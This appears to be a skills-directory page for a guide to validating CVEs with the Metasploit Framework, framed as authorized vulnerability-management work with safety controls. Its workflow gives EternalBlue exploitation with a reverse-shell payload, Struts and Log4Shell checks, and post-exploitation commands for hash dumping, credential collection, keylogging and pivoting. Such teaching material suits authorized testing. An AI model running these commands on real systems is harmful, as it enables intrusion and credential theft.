[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7B6KY0VT2PE9QVR9DGCXFBR":3,"skill-same:01M7B6KY0VT2PE9QVR9DGCXFBR":97},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":15,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":43,"commitSha":44,"skillDirectory":45,"forksCount":13,"repositoryHtmlUrl":46,"repositoryHomepageUrl":6,"ownerHtmlUrl":47,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":48,"install":49,"resources":62},"01M7B6KY0VT2PE9QVR9DGCXFBR","exploiting-vulnerabilities-with-metasploit-framework",null,"Uses the Metasploit Framework (msfconsole and its exploit, auxiliary, and post-exploitation modules) to validate that identified CVEs and vulnerabilities are actually exploitable, gather post-exploitation evidence, and confirm patch remediation. Use when performing vulnerability management validation, penetration testing, or post-patch verification and you need to prove real-world exploitability rather than rely on a scanner score alone.","vikasvardhanv\u002Fjerry_skills","vikasvardhanv","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F99010657?v=4","01M7B2B0VN78W7529RQX5BR6DZ","01M7B2B0WDNTXJHRK3QNPNWRP6",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: exploiting-vulnerabilities-with-metasploit-framework\ndescription: Uses the Metasploit Framework (msfconsole and its exploit, auxiliary,\n  and post-exploitation modules) to validate that identified CVEs and vulnerabilities\n  are actually exploitable, gather post-exploitation evidence, and confirm patch\n  remediation. Use when performing vulnerability management validation, penetration\n  testing, or post-patch verification and you need to prove real-world exploitability\n  rather than rely on a scanner score alone.\ndomain: cybersecurity\nsubdomain: vulnerability-management\ntags:\n- vulnerability-management\n- cve\n- metasploit\n- exploitation\n- penetration-testing\n- risk\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- ID.RA-01\n- ID.RA-02\n- ID.IM-02\n- ID.RA-06\nmitre_attack:\n- T1190\n- T1203\n- T1068\n---\n# Exploiting Vulnerabilities with Metasploit Framework\n\n## Overview\nThe Metasploit Framework is the world's most widely used penetration testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary modules, and 400 post-exploitation modules. Within vulnerability management, Metasploit serves as a validation tool to confirm that identified vulnerabilities are actually exploitable, enabling risk-based prioritization and demonstrating real-world impact to stakeholders.\n\n\n## When to Use\n\n- When performing authorized security testing that involves exploiting vulnerabilities with metasploit framework\n- When analyzing malware samples or attack artifacts in a controlled environment\n- When conducting red team exercises or penetration testing engagements\n- When building detection capabilities based on offensive technique understanding\n\n## Prerequisites\n- Metasploit Framework installed (Kali Linux or standalone)\n- PostgreSQL database for session\u002Fcredential management\n- Written authorization and rules of engagement for testing\n- Isolated test environment or approved production testing window\n- Understanding of networking, protocols, and exploitation concepts\n\n## Core Concepts\n\n### Metasploit Architecture\n- **msfconsole**: Primary interactive command-line interface\n- **Exploits**: Modules that leverage vulnerabilities to gain access\n- **Payloads**: Code executed on the target after successful exploitation\n- **Auxiliary**: Scanning, fuzzing, and information gathering modules\n- **Post-Exploitation**: Modules for privilege escalation, persistence, pivoting\n- **Encoders**: Payload encoding to evade signature-based detection\n- **Nops**: No-operation generators for payload alignment\n\n### Exploitation Workflow in Vulnerability Management\nUnlike offensive red teaming, vulnerability management uses Metasploit to:\n1. **Validate** scanner findings (confirm exploitability)\n2. **Demonstrate** risk to business stakeholders\n3. **Prioritize** remediation based on proven exploitation paths\n4. **Verify** patches by confirming exploits no longer succeed\n\n## Workflow\n\n### Step 1: Initialize Metasploit Environment\n```bash\n# Start PostgreSQL and initialize database\nsudo systemctl start postgresql\nsudo msfdb init\n\n# Launch msfconsole\nmsfconsole -q\n\n# Verify database connection\nmsf6> db_status\nmsf6> workspace -a vuln_validation_2025\n\n# Import vulnerability scan results\nmsf6> db_import \u002Fpath\u002Fto\u002Fnessus_scan.nessus\nmsf6> hosts\nmsf6> vulns\n```\n\n### Step 2: Validate Specific Vulnerabilities\n```bash\n# Example: Validate MS17-010 (EternalBlue) from scan findings\nmsf6> search type:exploit name:ms17_010\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nmsf6> show options\nmsf6> set RHOSTS 192.168.1.100\nmsf6> set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6> set LHOST 192.168.1.50\nmsf6> set LPORT 4444\n\n# Use check command first (non-exploitative validation)\nmsf6> check\n# [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!\n\n# Only exploit if check confirms vulnerability and authorized\nmsf6> exploit\n\n# Example: Validate Apache Struts RCE (CVE-2017-5638)\nmsf6> use exploit\u002Fmulti\u002Fhttp\u002Fstruts2_content_type_ognl\nmsf6> set RHOSTS target.example.com\nmsf6> set RPORT 8080\nmsf6> set TARGETURI \u002Fshowcase.action\nmsf6> check\n\n# Example: Validate Log4Shell (CVE-2021-44228)\nmsf6> use exploit\u002Fmulti\u002Fhttp\u002Flog4shell_header_injection\nmsf6> set RHOSTS target.example.com\nmsf6> set HTTP_HEADER X-Api-Version\nmsf6> check\n```\n\n### Step 3: Auxiliary Scanning for Validation\n```bash\n# SMB vulnerability scanning\nmsf6> use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_ms17_010\nmsf6> set RHOSTS 192.168.1.0\u002F24\nmsf6> set THREADS 10\nmsf6> run\n\n# SSL\u002FTLS vulnerability checks\nmsf6> use auxiliary\u002Fscanner\u002Fssl\u002Fopenssl_heartbleed\nmsf6> set RHOSTS target.example.com\nmsf6> run\n\n# HTTP vulnerability validation\nmsf6> use auxiliary\u002Fscanner\u002Fhttp\u002Fdir_listing\nmsf6> set RHOSTS target.example.com\nmsf6> run\n\n# Database authentication testing\nmsf6> use auxiliary\u002Fscanner\u002Fmssql\u002Fmssql_login\nmsf6> set RHOSTS db-server.corp.local\nmsf6> set USERNAME sa\nmsf6> set PASSWORD \"\"\nmsf6> run\n```\n\n### Step 4: Post-Exploitation Impact Assessment\n```bash\n# After successful exploitation, demonstrate impact\nmeterpreter> getuid\nmeterpreter> sysinfo\nmeterpreter> hashdump\nmeterpreter> run post\u002Fmulti\u002Fgather\u002Fenv\nmeterpreter> run post\u002Fwindows\u002Fgather\u002Fenum_patches\nmeterpreter> run post\u002Fwindows\u002Fgather\u002Fcredentials\u002Fcredential_collector\n\n# Network pivoting demonstration\nmeterpreter> run post\u002Fmulti\u002Fmanage\u002Fautoroute\nmeterpreter> run auxiliary\u002Fserver\u002Fsocks_proxy\n\n# Screenshot for evidence\nmeterpreter> screenshot\nmeterpreter> keyscan_start\n```\n\n### Step 5: Document and Report Findings\n```bash\n# Export exploitation evidence\nmsf6> vulns -o \u002Ftmp\u002Fvalidated_vulns.csv\nmsf6> hosts -o \u002Ftmp\u002Fcompromised_hosts.csv\nmsf6> creds -o \u002Ftmp\u002Fcaptured_creds.csv\nmsf6> loot -o \u002Ftmp\u002Fcaptured_loot.csv\n\n# Generate report from database\nmsf6> db_export -f xml \u002Ftmp\u002Fmsf_report.xml\n```\n\n### Step 6: Post-Patch Verification\n```bash\n# After remediation, verify exploit no longer works\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nmsf6> set RHOSTS 192.168.1.100\nmsf6> check\n# [-] 192.168.1.100:445 - Host does NOT appear vulnerable.\n# Patch verified successfully\n```\n\n## Safety Controls\n1. **Always use `check` command** before `exploit` when available\n2. **Set AutoRunScript** for clean session management\n3. **Use EXITFUNC=thread** to prevent crashing target services\n4. **Limit payload capabilities** to minimum needed for validation\n5. **Document every action** for audit trail and evidence\n6. **Use workspace isolation** per engagement\n7. **Never run Metasploit against unauthorized targets**\n\n## Best Practices\n1. Start with vulnerability check modules before exploitation\n2. Use Metasploit to validate top-priority scanner findings only\n3. Coordinate with system owners for testing windows\n4. Maintain detailed logs of all exploitation attempts\n5. Clean up all artifacts and sessions after testing\n6. Use results to create compelling risk narratives for stakeholders\n7. Integrate Metasploit validation into vulnerability management workflow\n\n## Common Pitfalls\n- Exploiting without written authorization (legal liability)\n- Using exploitation on production systems without coordination\n- Not cleaning up Meterpreter sessions and artifacts\n- Confusing vulnerability validation with penetration testing scope\n- Using outdated Metasploit modules against patched systems\n- Failing to document exploitation evidence for remediation teams\n\n## Related Skills\n- performing-red-team-validated-vulnerability-testing\n- scanning-infrastructure-with-nessus\n- performing-network-vulnerability-assessment\n","# Exploiting Vulnerabilities with Metasploit Framework\n\n## Overview\nThe Metasploit Framework is the world's most widely used penetration testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary modules, and 400 post-exploitation modules. Within vulnerability management, Metasploit serves as a validation tool to confirm that identified vulnerabilities are actually exploitable, enabling risk-based prioritization and demonstrating real-world impact to stakeholders.\n\n\n## When to Use\n\n- When performing authorized security testing that involves exploiting vulnerabilities with metasploit framework\n- When analyzing malware samples or attack artifacts in a controlled environment\n- When conducting red team exercises or penetration testing engagements\n- When building detection capabilities based on offensive technique understanding\n\n## Prerequisites\n- Metasploit Framework installed (Kali Linux or standalone)\n- PostgreSQL database for session\u002Fcredential management\n- Written authorization and rules of engagement for testing\n- Isolated test environment or approved production testing window\n- Understanding of networking, protocols, and exploitation concepts\n\n## Core Concepts\n\n### Metasploit Architecture\n- **msfconsole**: Primary interactive command-line interface\n- **Exploits**: Modules that leverage vulnerabilities to gain access\n- **Payloads**: Code executed on the target after successful exploitation\n- **Auxiliary**: Scanning, fuzzing, and information gathering modules\n- **Post-Exploitation**: Modules for privilege escalation, persistence, pivoting\n- **Encoders**: Payload encoding to evade signature-based detection\n- **Nops**: No-operation generators for payload alignment\n\n### Exploitation Workflow in Vulnerability Management\nUnlike offensive red teaming, vulnerability management uses Metasploit to:\n1. **Validate** scanner findings (confirm exploitability)\n2. **Demonstrate** risk to business stakeholders\n3. **Prioritize** remediation based on proven exploitation paths\n4. **Verify** patches by confirming exploits no longer succeed\n\n## Workflow\n\n### Step 1: Initialize Metasploit Environment\n```bash\n# Start PostgreSQL and initialize database\nsudo systemctl start postgresql\nsudo msfdb init\n\n# Launch msfconsole\nmsfconsole -q\n\n# Verify database connection\nmsf6> db_status\nmsf6> workspace -a vuln_validation_2025\n\n# Import vulnerability scan results\nmsf6> db_import \u002Fpath\u002Fto\u002Fnessus_scan.nessus\nmsf6> hosts\nmsf6> vulns\n```\n\n### Step 2: Validate Specific Vulnerabilities\n```bash\n# Example: Validate MS17-010 (EternalBlue) from scan findings\nmsf6> search type:exploit name:ms17_010\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nmsf6> show options\nmsf6> set RHOSTS 192.168.1.100\nmsf6> set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6> set LHOST 192.168.1.50\nmsf6> set LPORT 4444\n\n# Use check command first (non-exploitative validation)\nmsf6> check\n# [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!\n\n# Only exploit if check confirms vulnerability and authorized\nmsf6> exploit\n\n# Example: Validate Apache Struts RCE (CVE-2017-5638)\nmsf6> use exploit\u002Fmulti\u002Fhttp\u002Fstruts2_content_type_ognl\nmsf6> set RHOSTS target.example.com\nmsf6> set RPORT 8080\nmsf6> set TARGETURI \u002Fshowcase.action\nmsf6> check\n\n# Example: Validate Log4Shell (CVE-2021-44228)\nmsf6> use exploit\u002Fmulti\u002Fhttp\u002Flog4shell_header_injection\nmsf6> set RHOSTS target.example.com\nmsf6> set HTTP_HEADER X-Api-Version\nmsf6> check\n```\n\n### Step 3: Auxiliary Scanning for Validation\n```bash\n# SMB vulnerability scanning\nmsf6> use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_ms17_010\nmsf6> set RHOSTS 192.168.1.0\u002F24\nmsf6> set THREADS 10\nmsf6> run\n\n# SSL\u002FTLS vulnerability checks\nmsf6> use auxiliary\u002Fscanner\u002Fssl\u002Fopenssl_heartbleed\nmsf6> set RHOSTS target.example.com\nmsf6> run\n\n# HTTP vulnerability validation\nmsf6> use auxiliary\u002Fscanner\u002Fhttp\u002Fdir_listing\nmsf6> set RHOSTS target.example.com\nmsf6> run\n\n# Database authentication testing\nmsf6> use auxiliary\u002Fscanner\u002Fmssql\u002Fmssql_login\nmsf6> set RHOSTS db-server.corp.local\nmsf6> set USERNAME sa\nmsf6> set PASSWORD \"\"\nmsf6> run\n```\n\n### Step 4: Post-Exploitation Impact Assessment\n```bash\n# After successful exploitation, demonstrate impact\nmeterpreter> getuid\nmeterpreter> sysinfo\nmeterpreter> hashdump\nmeterpreter> run post\u002Fmulti\u002Fgather\u002Fenv\nmeterpreter> run post\u002Fwindows\u002Fgather\u002Fenum_patches\nmeterpreter> run post\u002Fwindows\u002Fgather\u002Fcredentials\u002Fcredential_collector\n\n# Network pivoting demonstration\nmeterpreter> run post\u002Fmulti\u002Fmanage\u002Fautoroute\nmeterpreter> run auxiliary\u002Fserver\u002Fsocks_proxy\n\n# Screenshot for evidence\nmeterpreter> screenshot\nmeterpreter> keyscan_start\n```\n\n### Step 5: Document and Report Findings\n```bash\n# Export exploitation evidence\nmsf6> vulns -o \u002Ftmp\u002Fvalidated_vulns.csv\nmsf6> hosts -o \u002Ftmp\u002Fcompromised_hosts.csv\nmsf6> creds -o \u002Ftmp\u002Fcaptured_creds.csv\nmsf6> loot -o \u002Ftmp\u002Fcaptured_loot.csv\n\n# Generate report from database\nmsf6> db_export -f xml \u002Ftmp\u002Fmsf_report.xml\n```\n\n### Step 6: Post-Patch Verification\n```bash\n# After remediation, verify exploit no longer works\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nmsf6> set RHOSTS 192.168.1.100\nmsf6> check\n# [-] 192.168.1.100:445 - Host does NOT appear vulnerable.\n# Patch verified successfully\n```\n\n## Safety Controls\n1. **Always use `check` command** before `exploit` when available\n2. **Set AutoRunScript** for clean session management\n3. **Use EXITFUNC=thread** to prevent crashing target services\n4. **Limit payload capabilities** to minimum needed for validation\n5. **Document every action** for audit trail and evidence\n6. **Use workspace isolation** per engagement\n7. **Never run Metasploit against unauthorized targets**\n\n## Best Practices\n1. Start with vulnerability check modules before exploitation\n2. Use Metasploit to validate top-priority scanner findings only\n3. Coordinate with system owners for testing windows\n4. Maintain detailed logs of all exploitation attempts\n5. Clean up all artifacts and sessions after testing\n6. Use results to create compelling risk narratives for stakeholders\n7. Integrate Metasploit validation into vulnerability management workflow\n\n## Common Pitfalls\n- Exploiting without written authorization (legal liability)\n- Using exploitation on production systems without coordination\n- Not cleaning up Meterpreter sessions and artifacts\n- Confusing vulnerability validation with penetration testing scope\n- Using outdated Metasploit modules against patched systems\n- Failing to document exploitation evidence for remediation teams\n\n## Related Skills\n- performing-red-team-validated-vulnerability-testing\n- scanning-infrastructure-with-nessus\n- performing-network-vulnerability-assessment\n",{"name":5,"tags":24,"author":31,"domain":32,"license":14,"version":33,"nist_csf":34,"subdomain":25,"description":7,"mitre_attack":39},[25,26,27,28,29,30],"vulnerability-management","cve","metasploit","exploitation","penetration-testing","risk","mahipal","cybersecurity","1.0",[35,36,37,38],"ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06",[40,41,42],"T1190","T1203","T1068","main","1eb986d0b0ecc180291597e08eb5a58288843536","skills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv","2026-08-25 13:16:33",{"source":8,"skillName":5,"commands":50,"prompt":60,"zipAvailable":61},[51,54,57],{"tool":52,"command":53},"npx","npx skills add vikasvardhanv\u002Fjerry_skills --skill exploiting-vulnerabilities-with-metasploit-framework",{"tool":55,"command":56},"bunx","bunx skills add vikasvardhanv\u002Fjerry_skills --skill exploiting-vulnerabilities-with-metasploit-framework",{"tool":58,"command":59},"pnpm","pnpm dlx skills add vikasvardhanv\u002Fjerry_skills --skill exploiting-vulnerabilities-with-metasploit-framework","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002FSKILL.md",true,[63,69,73,79,83,87,93],{"path":64,"resourceType":65,"resourceTypeDesc":66,"sizeBytes":67,"sourceHtmlUrl":68},"assets\u002Ftemplate.md","ASSET","资产文件",1065,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002Fassets\u002Ftemplate.md",{"path":70,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":72,"sourceHtmlUrl":15},"LICENSE","许可证",11255,{"path":74,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":77,"sourceHtmlUrl":78},"references\u002Fapi-reference.md","REFERENCE","参考文档",2263,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002Freferences\u002Fapi-reference.md",{"path":80,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":81,"sourceHtmlUrl":82},"references\u002Fstandards.md",1563,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002Freferences\u002Fstandards.md",{"path":84,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":85,"sourceHtmlUrl":86},"references\u002Fworkflows.md",2676,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002Freferences\u002Fworkflows.md",{"path":88,"resourceType":89,"resourceTypeDesc":90,"sizeBytes":91,"sourceHtmlUrl":92},"scripts\u002Fagent.py","SCRIPT","脚本",5035,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002Fscripts\u002Fagent.py",{"path":94,"resourceType":89,"resourceTypeDesc":90,"sizeBytes":95,"sourceHtmlUrl":96},"scripts\u002Fprocess.py",12511,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fexploiting-vulnerabilities-with-metasploit-framework\u002Fscripts\u002Fprocess.py",[98,106,113,120,127,134],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":102,"licenseFileUrl":6,"sourceHtmlUrl":103,"categories":104,"keywords":105,"publishedAt":19},"01M7BESR1CJ3H5SP9XM8KYJZ9W","syllabus","Generates a curated supplementary reading list from any course syllabus using Consensus academic search. Grill-me intake (syllabus input format + course audience + year range) plus a grouping forcing-options checkpoint before any search runs — so the reading list matches the course's level and recency need. Parses the syllabus to extract topics and learning outcomes, searches Consensus for recent peer-reviewed papers per topic, and produces a professionally formatted .docx with clickable Consensus links, plain-language summaries calibrated to audience level, and Bloom-higher-order discussion questions tied to course learning goals. Use when the user uploads a syllabus, course outline, or curriculum document and wants supplementary readings (e.g., 'create a reading list from this syllabus', 'find recent papers for my course') — even casual mentions with a syllabus attached should trigger this skill.","MIT","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fsyllabus\u002Fskills\u002Fsyllabus\u002FSKILL.md",[],[],{"skillNo":107,"name":108,"nameZh":6,"description":109,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":102,"licenseFileUrl":6,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":19},"01M7BES1YA6R97W7QPMFFM1PED","pulse","Multi-source recency research skill that takes the pulse of any topic across Reddit, Hacker News, the open web, and optionally X\u002FTwitter within a configurable recent window (default 30 days). Forcing intake clarifies topic specificity, angle (trend\u002Fsentiment\u002Fproblems\u002Fopportunities\u002Fcomparison), time window, and platform scope before searching. Returns a synthesized briefing with citations, engagement metrics, and cross-platform pattern analysis. Use when the user requests multi-source recency intelligence on a topic (e.g., 'pulse on [topic]', 'what's happening with [topic]', 'what are people saying about [topic]', 'current conversation about [topic]', 'take the pulse of [topic]', 'trending: [topic]', 'find me info on [topic]'), and for competitor research, trend discovery, tool comparisons, and audience sentiment analysis.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpulse\u002Fskills\u002Fpulse\u002FSKILL.md",[],[],{"skillNo":114,"name":115,"nameZh":6,"description":116,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":102,"licenseFileUrl":6,"sourceHtmlUrl":117,"categories":118,"keywords":119,"publishedAt":19},"01M7BERNHYGY035AR00VRT03KE","patent","Patent prior-art and landscape intelligence skill — not generic patent help. Commits to one of five sub-use-cases via forcing intake (novelty search \u002F freedom-to-operate \u002F competitive landscape \u002F acquisition diligence \u002F litigation prior-art) before any search runs. Searches Google Patents, Espacenet, USPTO, and optionally Lens.org for citation-graph signals. Output is an editable Word document (.docx) with verdict, ranked closest art (claim-text extracted), CPC-class-aware landscape, family-resolved hits, geographic coverage, FTO flags where applicable, strategy recommendations, and full audit log. Use when the user asks for patent searching or analysis (e.g., 'prior art search for [invention]', 'freedom to operate analysis for [product]'). Produces search signal, not legal advice — always recommends consulting a patent attorney before filing or licensing decisions. Trademark, copyright, and trade-secret questions are out of scope.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpatent\u002Fskills\u002Fpatent\u002FSKILL.md",[],[],{"skillNo":121,"name":122,"nameZh":6,"description":123,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":102,"licenseFileUrl":6,"sourceHtmlUrl":124,"categories":125,"keywords":126,"publishedAt":19},"01M7BERCK1EAKTWW7R436WAR0J","notebooklm","Browser automation skill for controlling Google's NotebookLM. Use when the user wants anything done in NotebookLM (e.g., 'open NotebookLM', 'check my [name] notebook', 'ask my notebook about X', 'add [source] to NotebookLM', 'generate a Video Overview from my notebook', 'use NotebookLM Studio'). Handles reading and querying notebooks, adding sources (URLs, text, files, YouTube links, synthesized content), generating Studio outputs (Audio\u002FVideo Overviews, Mind Maps, Reports incl. Briefing Doc\u002FStudy Guide\u002FFAQ, Flashcards, Quiz, slide decks, infographics — discover the exact set from the live Studio panel; the UI evolves fast), and creating new notebooks. Requires browser automation environment — fails gracefully when unavailable.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fnotebooklm\u002Fskills\u002Fnotebooklm\u002FSKILL.md",[],[],{"skillNo":128,"name":129,"nameZh":6,"description":130,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":102,"licenseFileUrl":6,"sourceHtmlUrl":131,"categories":132,"keywords":133,"publishedAt":19},"01M7BEQZAZAQRTXFJRY7RHV3TY","litreview","Academic literature orientation skill that searches papers via free keyless APIs (PubMed E-utilities + OpenAlex) by default — with the Consensus MCP as an optional enhancement lane when connected — builds a strategic search plan using PICO (default) or SPIDER \u002F Decomposition \u002F hybrid as fallbacks, and synthesizes findings into a formatted Word (.docx) research guide. Grill-me intake (research question specificity + framework hint + tentative depth) before the recon search; a second forcing checkpoint after Phase 2 confirms framework + sub-areas + depth before searches consume budget. Configurable depth (5\u002F10\u002F20 queries) controls coverage vs. speed. Output is a 'launching pad' — an orientation guide that lets a researcher dive in confidently, not a finished review. Use when the user starts literature-oriented research (e.g., 'litreview on [topic]', 'literature review on [topic]', 'I'm starting a literature review on X', 'I'm writing a paper on X', 'help me research X', 'I'm doing research on X', 'can you help me research X'). Do NOT use for single one-off paper searches wanting a quick list — that's a plain PubMed\u002FOpenAlex (or Consensus) query.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Flitreview\u002Fskills\u002Flitreview\u002FSKILL.md",[],[],{"skillNo":135,"name":136,"nameZh":6,"description":137,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":102,"licenseFileUrl":6,"sourceHtmlUrl":138,"categories":139,"keywords":140,"publishedAt":19},"01M7BEQKJ45K31QK5VRAQSVJCJ","grants","NIH grant research skill for clinical researchers. Grill-me intake (research idea + career stage + preliminary data + environment + submission posture + known institute targets) locks down the funding strategy before any search runs. Runs a 5-facet Consensus positioning analysis (with draft Significance\u002FInnovation language), maps the research to the right NIH institutes and study sections via RePORTER, finds NOSIs and funded overlap, and produces an editable Word document (.docx) with budget\u002Fscope-aware mechanism recommendations, submission timelines, and a mandatory program officer recommendation. Use when the user asks about research funding or makes any grant-related request (e.g., 'grants for [topic]', 'find grants for my research idea', 'what grants match my research', 'help me find NIH funding', 'grant opportunities for my research'). NIH-only scope — non-NIH funders (PCORI, DOD CDMRP, VA, foundations) are out of scope and flagged at intake.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fgrants\u002Fskills\u002Fgrants\u002FSKILL.md",[],[]]